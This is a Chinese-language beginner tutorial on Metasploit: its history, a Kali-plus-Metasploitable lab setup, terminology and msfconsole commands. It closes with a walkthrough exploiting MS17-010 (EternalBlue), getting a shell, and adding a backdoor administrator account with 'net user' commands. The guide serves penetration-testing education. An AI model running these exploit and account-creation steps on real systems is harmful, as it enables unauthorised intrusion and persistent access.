一、初识MSF
1、什么是Metasploit
Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布MSF时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为MSF团队一直都在努力开发各种攻击工具,并将它们贡献给所有MSF用户。
MSF的设计初衷是打造成一个攻击工具开发平台,然而在目前情况下,安全专家以及业余安全爱好者更多地将其当作一种点几下鼠标就可以利用其中附带的攻击工具进行成功攻击的环境。
2、MSF硬件要求
- 硬盘:大小至少40GB,文件格式建议NTFS,不支持FAT32
- 内存:2GB
- 处理器:500HMZ
- 网络:要求联网
- 软件:两套操作系统,一台kali系统,一台测试系统
- 虚拟机:VMware、VMware
- kali Linux:http://www.kali.org/downloads/
- Linux靶机系统:Metasploitable系统,下载链接:kail下载地址 https://pan.baidu.com/s/1c05BnlIhttp://cdimage.kali.org/kali-weekly/http://sourceforge.net/projects/Metasploitable/files/Metasploitable2/ (下载后是zip格式,解压后直接用VM打开,默认账号和密码是 msfadmin:msfadmin )。扩展网址:https://community.rapid7.com/docs/DOC-1875
3、MSF专业术语讲解
3.1、渗透攻击(exploit)
渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。
流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。
3.2、攻击载荷(payload)
payload字面意思是有效攻击载荷,包含需要在远程主机上运行的恶意代码。
payload和exploit的区别:
- exploit是传送系统(运载火箭),payload是用来实际做什么事的代码(弹头)
3.3、溢出代码(Shellcode)
shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者meterpreter shell,这也是shellcode名称的由来。
3.4、模块(module)
在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。例:渗透攻击模块(exploit module),用来发起渗透攻击的软件组件。扫描模块(auxiliary module),用来扫描可以使用的攻击工具或扫描工具。
3.5、监听器(listener)
监听器是MSF中用来等待网络连接的组件。例:在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击者主机上,而监听器组件在攻击者主机上等待被渗透攻击的主机主动连接,并负责处理这些网络连接。
二、msfconsole命令
1、帮助菜单
2、在?后面加命令(之间有空格),显示这条命令的功能
3、search 搜索模块名和描述
例如搜索ms08-067模块,执行search ms08-067
4、info 显示一个或多个模块的信息,例如ms08-067的模块
5、irb进入irb脚本模式
6、jobs显示和管理作业(和windows任务管理器的进程作用一样)
- kill:杀死一个作业(和结束进程的作用一样)。
loadpath:加载一个模块的路径。
quit:退出MSF。
load:加载一个插件。
resource:运行储存一个文件中的命令。
route:查看一个会话的路由信息。
save:保存动作。
set:给一个变量赋值。
setg:把一个赋值给全局变量,例如上述set设置的IP,就会用到其他攻击模块的RHOST中。
sleep:在限定的秒数内什么也不做。
unload:卸载一个模块。
unset:解出一个或多个变量。
unsetg:解出一个或多个全局变量。
version:显示MSF和控制台库版本。
三、Exploits And Payloads模块
1、exploits模块
- 命名规则:系统/服务/名称
例如:windows/smb/ms08_067_netapi
RHOST:目标主机IP地址
RPORT:目标主机连接端口
Payload:有效的载荷,成功后返回shell
LHOST:攻击者的IP地址
LPORT:攻击者的端口
2、payloads模块
- 是在使用一个模块之后再去使用的。
命名规则:系统/类型/名称
例如:Windows/dllinject/reverse_tcp
类型命名规则
shell:上传一个shell。
dllinject:注入一个dll到进程。
patchup***:修补漏洞。
upexec:上传并执行一个文件。
meterpreter:高级的payload。
vncinject:高级的payload。
passive:高级的payload。
四、实战案例
以永恒之蓝MS17-010为例:
1、在kali中输入msfconsole
2、进入后输入search ms17-010
3、找到exploit/windows/smb/ms17_010_eternalblue,输入
use exploit/windows/smb/ms17_010_eternalblue
4、查看exploit的基本配置信息(show info 查看作者信息)
show options
5、配置exploit攻击对象的IP地址
set rhosts 192.168.13.29
6、使用run或exploit进行攻击
7、输入shell进入对方机器增加用户
创建用户:net user test 1234 /add (xxx用户名 1234密码)
net localgroup administrators test /add(将用户设置为管理员权限)
8、上传文件执行